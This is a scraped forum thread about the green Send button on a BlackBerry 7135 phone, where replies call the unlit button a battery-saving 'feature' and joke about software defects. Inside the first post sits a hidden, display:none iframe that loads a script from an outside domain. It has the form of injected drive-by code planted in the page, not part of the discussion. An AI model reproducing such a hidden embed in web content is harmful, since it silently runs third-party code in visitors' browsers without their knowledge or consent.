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    Green Button (Send)

    On my 7135, the Green (Send) button does not light up at all. Do I have a defective phone or is this normal?<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

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    My green button doesn't light up either.

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    The lights for all the keys is the same, the phone ones are just really dim. If I have mine in totally dark room, I can barely tell that they're lit.
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    same here
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    Re: Green Button (Send)

    Originally posted by drpobgyn
    On my 7135, the Green (Send) button does not light up at all. Do I have a defective phone or is this normal?
    That's normal, and it's not a defect... it's a battery saving "feature"
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    It's a "feature"

    That's what all technology companies say when things don't work as expected

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    Giddyup, Giddyup, Giddyup 7135 TheBeachBoy's Avatar
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    So that's what they mean...

    So that's what Microsoft means when their new OS (take your pick) has more "features." It's not lying, they're telling us they put in new defects!:devillook
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    Yup, one person's "defect" is another person's "feature". MS developers must have quite a skewed perception of what a feature is :angel2

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